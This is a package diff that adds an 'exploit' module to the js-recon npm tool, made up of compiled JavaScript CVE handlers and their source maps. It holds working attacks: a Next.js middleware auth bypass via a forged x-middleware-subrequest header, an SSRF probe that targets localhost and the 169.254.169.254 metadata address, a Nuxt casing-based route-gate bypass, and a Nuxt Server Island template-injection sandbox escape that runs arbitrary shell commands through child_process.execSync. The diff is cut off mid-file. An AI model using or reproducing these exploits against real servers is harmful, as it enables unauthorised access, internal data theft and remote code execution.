@js-recon/js-recon 1.4.3 → 2.0.1-alpha.1

package/build/exploit/index.js

@@ -0,0 +1,60 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import chalk from "chalk";
+import { findCveMetadata, groupedByFramework } from "./registry/cveRegistry.js";
+import { toExploitFinding, generateExploitOutput } from "./utility/outputHelper.js";
+import { toEngineOutput } from "./utility/toEngineOutput.js";
+import { printMsg, MSG } from "../utility/printMsg.js";
+import { generateEngineOutput } from "../analyze/helpers/outputHelper.js";
+export { CVE_REGISTRY, groupedByFramework } from "./registry/cveRegistry.js";
+/**
+ * Runs a single CVE exploit against a target and writes both output files.
+ *
+ * @param url Target base URL
+ * @param cveId CVE identifier to attempt (case-insensitive)
+ * @param options Output paths, exec command for RCE-class proofs, and request tuning
+ */
+const exploit = (url, cveId, options) => __awaiter(void 0, void 0, void 0, function* () {
+    printMsg(MSG.Header, `[i] Running 'exploit' module against ${url} (${cveId})`);
+    const cve = findCveMetadata(cveId);
+    if (!cve) {
+        printMsg(MSG.Err, `[!] Unknown CVE "${cveId}". Run 'js-recon exploit --list-cve' to see supported CVEs.`);
+        process.exit(1);
+    }
+    const handler = yield cve.handler();
+    const ctx = {
+        baseUrl: url,
+        timeout: options.timeout,
+        insecure: options.insecure,
+        execCmd: options.execCmd,
+    };
+    const outcome = yield handler(ctx);
+    if (outcome.vulnerable) {
+        printMsg(MSG.Run, `[✓] VULNERABLE: ${cve.id} — ${outcome.evidence}`);
+    }
+    else {
+        printMsg(MSG.Info, `[i] Not vulnerable: ${cve.id} — ${outcome.evidence}`);
+    }
+    generateExploitOutput(options.output, [toExploitFinding(cve.id, cve.commonName, cve.framework, url, outcome)]);
+    generateEngineOutput(options.engineOutput, [toEngineOutput(cve, url, outcome)]);
+});
+/** Prints all supported CVEs grouped by framework (alphabetical), sorted by CVE ID within each group. */
+export const printCveList = () => {
+    for (const [framework, cves] of groupedByFramework()) {
+        console.log(chalk.cyan(`\n[${framework}]`));
+        for (const cve of cves) {
+            console.log(`  ${chalk.green(cve.id)} ${chalk.dim(`(${cve.commonName})`)}`);
+            console.log(`    ${chalk.dim(cve.description)}`);
+        }
+    }
+    console.log();
+};
+export default exploit;
+//# sourceMappingURL=index.js.map

package/build/exploit/index.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/exploit/index.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,EAAE,eAAe,EAAE,kBAAkB,EAAE,MAAM,2BAA2B,CAAC;AAChF,OAAO,EAAE,gBAAgB,EAAE,qBAAqB,EAAE,MAAM,2BAA2B,CAAC;AACpF,OAAO,EAAE,cAAc,EAAE,MAAM,6BAA6B,CAAC;AAC7D,OAAO,EAAE,QAAQ,EAAE,GAAG,EAAE,MAAM,wBAAwB,CAAC;AACvD,OAAO,EAAE,oBAAoB,EAAqB,MAAM,oCAAoC,CAAC;AAG7F,OAAO,EAAE,YAAY,EAAE,kBAAkB,EAAE,MAAM,2BAA2B,CAAC;AAE7E;;;;;;GAMG;AACH,MAAM,OAAO,GAAG,CACZ,GAAW,EACX,KAAa,EACb,OAMC,EACY,EAAE;IACf,QAAQ,CAAC,GAAG,CAAC,MAAM,EAAE,wCAAwC,GAAG,KAAK,KAAK,GAAG,CAAC,CAAC;IAE/E,MAAM,GAAG,GAAG,eAAe,CAAC,KAAK,CAAC,CAAC;IACnC,IAAI,CAAC,GAAG,EAAE,CAAC;QACP,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,oBAAoB,KAAK,6DAA6D,CAAC,CAAC;QAC1G,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IACpB,CAAC;IAED,MAAM,OAAO,GAAG,MAAM,GAAG,CAAC,OAAO,EAAE,CAAC;IACpC,MAAM,GAAG,GAAmB;QACxB,OAAO,EAAE,GAAG;QACZ,OAAO,EAAE,OAAO,CAAC,OAAO;QACxB,QAAQ,EAAE,OAAO,CAAC,QAAQ;QAC1B,OAAO,EAAE,OAAO,CAAC,OAAO;KAC3B,CAAC;IAEF,MAAM,OAAO,GAAG,MAAM,OAAO,CAAC,GAAG,CAAC,CAAC;IAEnC,IAAI,OAAO,CAAC,UAAU,EAAE,CAAC;QACrB,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,mBAAmB,GAAG,CAAC,EAAE,MAAM,OAAO,CAAC,QAAQ,EAAE,CAAC,CAAC;IACzE,CAAC;SAAM,CAAC;QACJ,QAAQ,CAAC,GAAG,CAAC,IAAI,EAAE,uBAAuB,GAAG,CAAC,EAAE,MAAM,OAAO,CAAC,QAAQ,EAAE,CAAC,CAAC;IAC9E,CAAC;IAED,qBAAqB,CAAC,OAAO,CAAC,MAAM,EAAE,CAAC,gBAAgB,CAAC,GAAG,CAAC,EAAE,EAAE,GAAG,CAAC,UAAU,EAAE,GAAG,CAAC,SAAS,EAAE,GAAG,EAAE,OAAO,CAAC,CAAC,CAAC,CAAC;IAC/G,oBAAoB,CAAC,OAAO,CAAC,YAAY,EAAE,CAAC,cAAc,CAAC,GAAG,EAAE,GAAG,EAAE,OAAO,CAAiB,CAAC,CAAC,CAAC;AACpG,CAAC,CAAA,CAAC;AAEF,yGAAyG;AACzG,MAAM,CAAC,MAAM,YAAY,GAAG,GAAS,EAAE;IACnC,KAAK,MAAM,CAAC,SAAS,EAAE,IAAI,CAAC,IAAI,kBAAkB,EAAE,EAAE,CAAC;QACnD,OAAO,CAAC,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,MAAM,SAAS,GAAG,CAAC,CAAC,CAAC;QAC5C,KAAK,MAAM,GAAG,IAAI,IAAI,EAAE,CAAC;YACrB,OAAO,CAAC,GAAG,CAAC,KAAK,KAAK,CAAC,KAAK,CAAC,GAAG,CAAC,EAAE,CAAC,IAAI,KAAK,CAAC,GAAG,CAAC,IAAI,GAAG,CAAC,UAAU,GAAG,CAAC,EAAE,CAAC,CAAC;YAC5E,OAAO,CAAC,GAAG,CAAC,OAAO,KAAK,CAAC,GAAG,CAAC,GAAG,CAAC,WAAW,CAAC,EAAE,CAAC,CAAC;QACrD,CAAC;IACL,CAAC;IACD,OAAO,CAAC,GAAG,EAAE,CAAC;AAClB,CAAC,CAAC;AAEF,eAAe,OAAO,CAAC"}

package/build/exploit/next/cve-2025-29927.js

@@ -0,0 +1,65 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import * as cheerio from "cheerio";
+import rawRequest from "../utility/rawRequest.js";
+import diffResponses from "../utility/compareResponses.js";
+/** MAX_RECURSION_DEPTH in next/dist/server/web/sandbox/sandbox.js — the header must repeat exactly this many times. */
+const RECURSION_DEPTH = 5;
+/** Root middleware.ts uses "middleware"; a --src-dir layout uses "src/middleware" — both must be tried. */
+const MIDDLEWARE_IDS = ["middleware", "src/middleware"];
+export const buildMiddlewareBypassHeader = (id, depth = RECURSION_DEPTH) => Array(depth).fill(id).join(":");
+/** Scrapes newly-served HTML for <script src> chunk references — lightweight, not a full `map`-style resolver. */
+export const extractScriptUrls = (html, baseUrl) => {
+    const $ = cheerio.load(html);
+    const urls = new Set();
+    $("script[src]").each((_, el) => {
+        const src = $(el).attr("src");
+        if (!src)
+            return;
+        try {
+            urls.add(new URL(src, baseUrl).toString());
+        }
+        catch (_a) {
+            /* skip unresolvable src values */
+        }
+    });
+    return Array.from(urls);
+};
+const cve202529927 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
+    const baseline = yield rawRequest(ctx.baseUrl, { timeout: ctx.timeout, signal: ctx.signal });
+    if (!baseline) {
+        return { vulnerable: false, evidence: "Baseline request failed (network error).", discoveredUrls: [] };
+    }
+    for (const id of MIDDLEWARE_IDS) {
+        const payload = yield rawRequest(ctx.baseUrl, {
+            timeout: ctx.timeout,
+            signal: ctx.signal,
+            headers: { "x-middleware-subrequest": buildMiddlewareBypassHeader(id) },
+        });
+        if (!payload)
+            continue;
+        const diff = diffResponses(baseline, payload);
+        if (diff.becameSuccessful) {
+            return {
+                vulnerable: true,
+                evidence: `Middleware bypassed using x-middleware-subrequest id="${id}" (baseline status ${baseline.status} -> payload status ${payload.status}).`,
+                discoveredUrls: extractScriptUrls(payload.body, ctx.baseUrl),
+                rawFindingExtras: { bypassId: id },
+            };
+        }
+    }
+    return {
+        vulnerable: false,
+        evidence: `No bypass observed for either middleware id variant (baseline status ${baseline.status}).`,
+        discoveredUrls: [],
+    };
+});
+export default cve202529927;
+//# sourceMappingURL=cve-2025-29927.js.map

package/build/exploit/next/cve-2025-29927.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"cve-2025-29927.js","sourceRoot":"","sources":["../../../src/exploit/next/cve-2025-29927.ts"],"names":[],"mappings":"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"}

package/build/exploit/next/cve-2026-64645.js

@@ -0,0 +1,51 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import rawRequest from "../utility/rawRequest.js";
+import diffResponses from "../utility/compareResponses.js";
+/** Common dynamic-rewrite capture-group param names observed in the wild for CVE-2026-64645. */
+const CANDIDATE_PARAMS = ["tenant", "region", "backend", "host"];
+const CANDIDATE_HOSTS = ["127.0.0.1", "localhost", "169.254.169.254"];
+export const buildProbeUrl = (baseUrl, param, host) => {
+    const url = new URL(baseUrl);
+    url.searchParams.set(param, host);
+    return url.toString();
+};
+const cve202664645 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
+    const baseline = yield rawRequest(ctx.baseUrl, { timeout: ctx.timeout, signal: ctx.signal });
+    if (!baseline) {
+        return { vulnerable: false, evidence: "Baseline request failed (network error).", discoveredUrls: [] };
+    }
+    for (const param of CANDIDATE_PARAMS) {
+        for (const host of CANDIDATE_HOSTS) {
+            const probeUrl = buildProbeUrl(ctx.baseUrl, param, host);
+            const payload = yield rawRequest(probeUrl, { timeout: ctx.timeout, signal: ctx.signal });
+            if (!payload)
+                continue;
+            const diff = diffResponses(baseline, payload);
+            // Reflected SSRF: the response body materially changed shape/size relative to the
+            // baseline for a request that only differs by an internal-host query param.
+            if (payload.status >= 200 && payload.status < 300 && Math.abs(diff.bodyLengthDelta) > 50) {
+                return {
+                    vulnerable: true,
+                    evidence: `Rewrite destination reflects internal host via ?${param}=${host} (body length delta ${diff.bodyLengthDelta}).`,
+                    discoveredUrls: [probeUrl],
+                    rawFindingExtras: { param, host },
+                };
+            }
+        }
+    }
+    return {
+        vulnerable: false,
+        evidence: "No reflected internal-host response observed across candidate rewrite params.",
+        discoveredUrls: [],
+    };
+});
+export default cve202664645;
+//# sourceMappingURL=cve-2026-64645.js.map

package/build/exploit/next/cve-2026-64645.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"cve-2026-64645.js","sourceRoot":"","sources":["../../../src/exploit/next/cve-2026-64645.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAClD,OAAO,aAAa,MAAM,gCAAgC,CAAC;AAG3D,gGAAgG;AAChG,MAAM,gBAAgB,GAAG,CAAC,QAAQ,EAAE,QAAQ,EAAE,SAAS,EAAE,MAAM,CAAU,CAAC;AAC1E,MAAM,eAAe,GAAG,CAAC,WAAW,EAAE,WAAW,EAAE,iBAAiB,CAAU,CAAC;AAE/E,MAAM,CAAC,MAAM,aAAa,GAAG,CAAC,OAAe,EAAE,KAAa,EAAE,IAAY,EAAU,EAAE;IAClF,MAAM,GAAG,GAAG,IAAI,GAAG,CAAC,OAAO,CAAC,CAAC;IAC7B,GAAG,CAAC,YAAY,CAAC,GAAG,CAAC,KAAK,EAAE,IAAI,CAAC,CAAC;IAClC,OAAO,GAAG,CAAC,QAAQ,EAAE,CAAC;AAC1B,CAAC,CAAC;AAEF,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,MAAM,QAAQ,GAAG,MAAM,UAAU,CAAC,GAAG,CAAC,OAAO,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;IAC7F,IAAI,CAAC,QAAQ,EAAE,CAAC;QACZ,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,0CAA0C,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;IAC3G,CAAC;IAED,KAAK,MAAM,KAAK,IAAI,gBAAgB,EAAE,CAAC;QACnC,KAAK,MAAM,IAAI,IAAI,eAAe,EAAE,CAAC;YACjC,MAAM,QAAQ,GAAG,aAAa,CAAC,GAAG,CAAC,OAAO,EAAE,KAAK,EAAE,IAAI,CAAC,CAAC;YACzD,MAAM,OAAO,GAAG,MAAM,UAAU,CAAC,QAAQ,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;YACzF,IAAI,CAAC,OAAO;gBAAE,SAAS;YAEvB,MAAM,IAAI,GAAG,aAAa,CAAC,QAAQ,EAAE,OAAO,CAAC,CAAC;YAC9C,kFAAkF;YAClF,4EAA4E;YAC5E,IAAI,OAAO,CAAC,MAAM,IAAI,GAAG,IAAI,OAAO,CAAC,MAAM,GAAG,GAAG,IAAI,IAAI,CAAC,GAAG,CAAC,IAAI,CAAC,eAAe,CAAC,GAAG,EAAE,EAAE,CAAC;gBACvF,OAAO;oBACH,UAAU,EAAE,IAAI;oBAChB,QAAQ,EAAE,mDAAmD,KAAK,IAAI,IAAI,uBAAuB,IAAI,CAAC,eAAe,IAAI;oBACzH,cAAc,EAAE,CAAC,QAAQ,CAAC;oBAC1B,gBAAgB,EAAE,EAAE,KAAK,EAAE,IAAI,EAAE;iBACpC,CAAC;YACN,CAAC;QACL,CAAC;IACL,CAAC;IAED,OAAO;QACH,UAAU,EAAE,KAAK;QACjB,QAAQ,EAAE,+EAA+E;QACzF,cAAc,EAAE,EAAE;KACrB,CAAC;AACN,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}

package/build/exploit/nuxt/cve-2026-71315.js

@@ -0,0 +1,47 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import rawRequest from "../utility/rawRequest.js";
+import diffResponses from "../utility/compareResponses.js";
+/** Covers both CVE-2026-71315 (regression) and CVE-2026-53721 (original disclosure) — same bypass. */
+const CASING_VARIANTS = ["Admin", "admin", "ADMIN"];
+/** All-lowercase control route on the same app, expected to correctly redirect/gate. */
+const CONTROL_PATH = "/testauth";
+export const buildCasedUrl = (baseUrl, casedSegment) => new URL(`/${casedSegment}`, baseUrl).toString();
+const cve202671315 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
+    const controlUrl = new URL(CONTROL_PATH, ctx.baseUrl).toString();
+    const control = yield rawRequest(controlUrl, { timeout: ctx.timeout, signal: ctx.signal });
+    if (!control) {
+        return { vulnerable: false, evidence: "Control-route request failed (network error).", discoveredUrls: [] };
+    }
+    const bypassedVariants = [];
+    for (const variant of CASING_VARIANTS) {
+        const url = buildCasedUrl(ctx.baseUrl, variant);
+        const response = yield rawRequest(url, { timeout: ctx.timeout, signal: ctx.signal });
+        if (!response)
+            continue;
+        // The control route (all-lowercase, same app) is expected to redirect/gate. If a casing
+        // variant returns 200 while the control still redirects, the rule's auth gate was skipped
+        // specifically for that casing, not general auth breakage.
+        const diff = diffResponses(control, response);
+        if (diff.becameSuccessful)
+            bypassedVariants.push(variant);
+    }
+    if (bypassedVariants.length > 0) {
+        return {
+            vulnerable: true,
+            evidence: `Route-rule middleware gate bypassed for casing variant(s): ${bypassedVariants.join(", ")} (control route "${CONTROL_PATH}" correctly gated).`,
+            discoveredUrls: bypassedVariants.map((v) => buildCasedUrl(ctx.baseUrl, v)),
+            rawFindingExtras: { bypassedVariants },
+        };
+    }
+    return { vulnerable: false, evidence: "No casing-based route-rule bypass observed.", discoveredUrls: [] };
+});
+export default cve202671315;
+//# sourceMappingURL=cve-2026-71315.js.map

package/build/exploit/nuxt/cve-2026-71315.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"cve-2026-71315.js","sourceRoot":"","sources":["../../../src/exploit/nuxt/cve-2026-71315.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAClD,OAAO,aAAa,MAAM,gCAAgC,CAAC;AAG3D,sGAAsG;AACtG,MAAM,eAAe,GAAG,CAAC,OAAO,EAAE,OAAO,EAAE,OAAO,CAAU,CAAC;AAC7D,wFAAwF;AACxF,MAAM,YAAY,GAAG,WAAW,CAAC;AAEjC,MAAM,CAAC,MAAM,aAAa,GAAG,CAAC,OAAe,EAAE,YAAoB,EAAU,EAAE,CAC3E,IAAI,GAAG,CAAC,IAAI,YAAY,EAAE,EAAE,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;AAEpD,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,MAAM,UAAU,GAAG,IAAI,GAAG,CAAC,YAAY,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;IACjE,MAAM,OAAO,GAAG,MAAM,UAAU,CAAC,UAAU,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;IAC3F,IAAI,CAAC,OAAO,EAAE,CAAC;QACX,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,+CAA+C,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;IAChH,CAAC;IAED,MAAM,gBAAgB,GAAa,EAAE,CAAC;IACtC,KAAK,MAAM,OAAO,IAAI,eAAe,EAAE,CAAC;QACpC,MAAM,GAAG,GAAG,aAAa,CAAC,GAAG,CAAC,OAAO,EAAE,OAAO,CAAC,CAAC;QAChD,MAAM,QAAQ,GAAG,MAAM,UAAU,CAAC,GAAG,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;QACrF,IAAI,CAAC,QAAQ;YAAE,SAAS;QAExB,wFAAwF;QACxF,0FAA0F;QAC1F,2DAA2D;QAC3D,MAAM,IAAI,GAAG,aAAa,CAAC,OAAO,EAAE,QAAQ,CAAC,CAAC;QAC9C,IAAI,IAAI,CAAC,gBAAgB;YAAE,gBAAgB,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;IAC9D,CAAC;IAED,IAAI,gBAAgB,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QAC9B,OAAO;YACH,UAAU,EAAE,IAAI;YAChB,QAAQ,EAAE,8DAA8D,gBAAgB,CAAC,IAAI,CAAC,IAAI,CAAC,oBAAoB,YAAY,qBAAqB;YACxJ,cAAc,EAAE,gBAAgB,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,aAAa,CAAC,GAAG,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC;YAC1E,gBAAgB,EAAE,EAAE,gBAAgB,EAAE;SACzC,CAAC;IACN,CAAC;IAED,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,6CAA6C,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;AAC9G,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}

package/build/exploit/nuxt/cve-2026-71320.js

@@ -0,0 +1,114 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import { hash } from "ohash";
+import rawRequest from "../utility/rawRequest.js";
+import runSandboxRceProof, { escapeSingleQuotedLiteral } from "../utility/sandboxRce.js";
+/** Default Server Island component name probed when none is known ahead of time. */
+const DEFAULT_COMPONENT = "MyWidget";
+/**
+ * The `/__nuxt_island/<name>_<hash>` hash suffix is not a security token — it's
+ * `ohash.hash([name, props, context, source])` with no secret key, fully computable client-side.
+ * The raw ohash digest can contain `-`/`_`, which the island name/hash URL segment rejects, so
+ * Nuxt's own client-side request builder strips them before appending the suffix. `source` is
+ * left `undefined` (not an empty string) to match the request shape Nuxt's own runtime produces —
+ * hashing `undefined` is not the same as hashing `""` and produces a different digest.
+ */
+export const computeIslandHash = (name, props, context = {}) => hash([name, props, context, undefined]).replace(/[-_]/g, "");
+/**
+ * Mirrors the proven-working escape shape: grabs the real global object via the Function
+ * constructor first (`'a'.constructor.constructor('return globalThis')()`), since bare
+ * `globalThis` cannot be assumed to resolve correctly inside Vue's `with(_ctx)` interpolation
+ * sandbox — every property access, including reading the stash back in stage 2, goes through
+ * that same real-global reference rather than a bare identifier.
+ */
+const sandboxEscapePayload = (cmd, marker) => {
+    const kickoff = `(function(){var f='a'.constructor.constructor;var g=f('return globalThis')();` +
+        `g.__poc=f("return import('node:child_process')")().then(function(m){` +
+        `g.__pocOut=m.execSync('${escapeSingleQuotedLiteral(cmd)}').toString();` +
+        `}).catch(function(e){g.__pocOut='ERR:'+e.message;});return 'kicked';})()`;
+    const readback = "'a'.constructor.constructor('return globalThis')().__pocOut || ''";
+    return `<div>{{ ${marker === "stage1" ? kickoff : readback} }}</div>`;
+};
+export const buildIslandProps = (template) => ({
+    as: { template },
+});
+/**
+ * The island endpoint responds with JSON (`{ id, html, ... }`), not raw HTML — the rendered
+ * mustache output lives in `.html`, wrapped in the `<div>` from the template. Strips that wrapper
+ * and returns null for an empty/error-shaped response so stage 2's retry loop doesn't mistake a
+ * merely-parseable response for the real command output.
+ */
+export const extractIslandOutput = (responseBody) => {
+    let parsed;
+    try {
+        parsed = JSON.parse(responseBody);
+    }
+    catch (_a) {
+        return null;
+    }
+    const html = parsed === null || parsed === void 0 ? void 0 : parsed.html;
+    if (typeof html !== "string")
+        return null;
+    // Strip tags to a fixed point rather than a single pass — a single pass can leave a nested
+    // marker exposed (e.g. "<<script>script>" -> "<script>" after removing just the inner tag).
+    // This text is only ever used as a display string (exploit evidence/output), never re-rendered
+    // as HTML, but stripping to a fixed point is the standard defense regardless of that sink.
+    let text = html;
+    let previous;
+    do {
+        previous = text;
+        text = text.replace(/<[^>]*>/g, "");
+    } while (text !== previous);
+    text = text.trim();
+    return text.length > 0 ? text : null;
+};
+const cve202671320 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
+    const component = DEFAULT_COMPONENT;
+    const requestIsland = (template) => __awaiter(void 0, void 0, void 0, function* () {
+        const props = buildIslandProps(template);
+        const islandHash = computeIslandHash(component, props);
+        const url = new URL(`/__nuxt_island/${component}_${islandHash}`, ctx.baseUrl).toString();
+        // Payload MUST go in the POST body, not the query string — the endpoint's naive path
+        // parser splits on "_", which collides with any "_" in the exec command.
+        return rawRequest(url, {
+            method: "POST",
+            timeout: ctx.timeout,
+            signal: ctx.signal,
+            headers: { "content-type": "application/json" },
+            body: JSON.stringify({ props: JSON.stringify(props) }),
+        });
+    });
+    const result = yield runSandboxRceProof({
+        sendStage1: (cmd) => __awaiter(void 0, void 0, void 0, function* () {
+            yield requestIsland(sandboxEscapePayload(cmd, "stage1"));
+        }),
+        sendStage2: () => __awaiter(void 0, void 0, void 0, function* () {
+            const resp = yield requestIsland(sandboxEscapePayload("", "stage2"));
+            if (!resp || resp.status !== 200)
+                return null;
+            return extractIslandOutput(resp.body);
+        }),
+    }, ctx.execCmd);
+    if (result.succeeded) {
+        return {
+            vulnerable: true,
+            evidence: `Server Island template-injection RCE confirmed. Command "${ctx.execCmd}" output: ${result.output}`,
+            discoveredUrls: [],
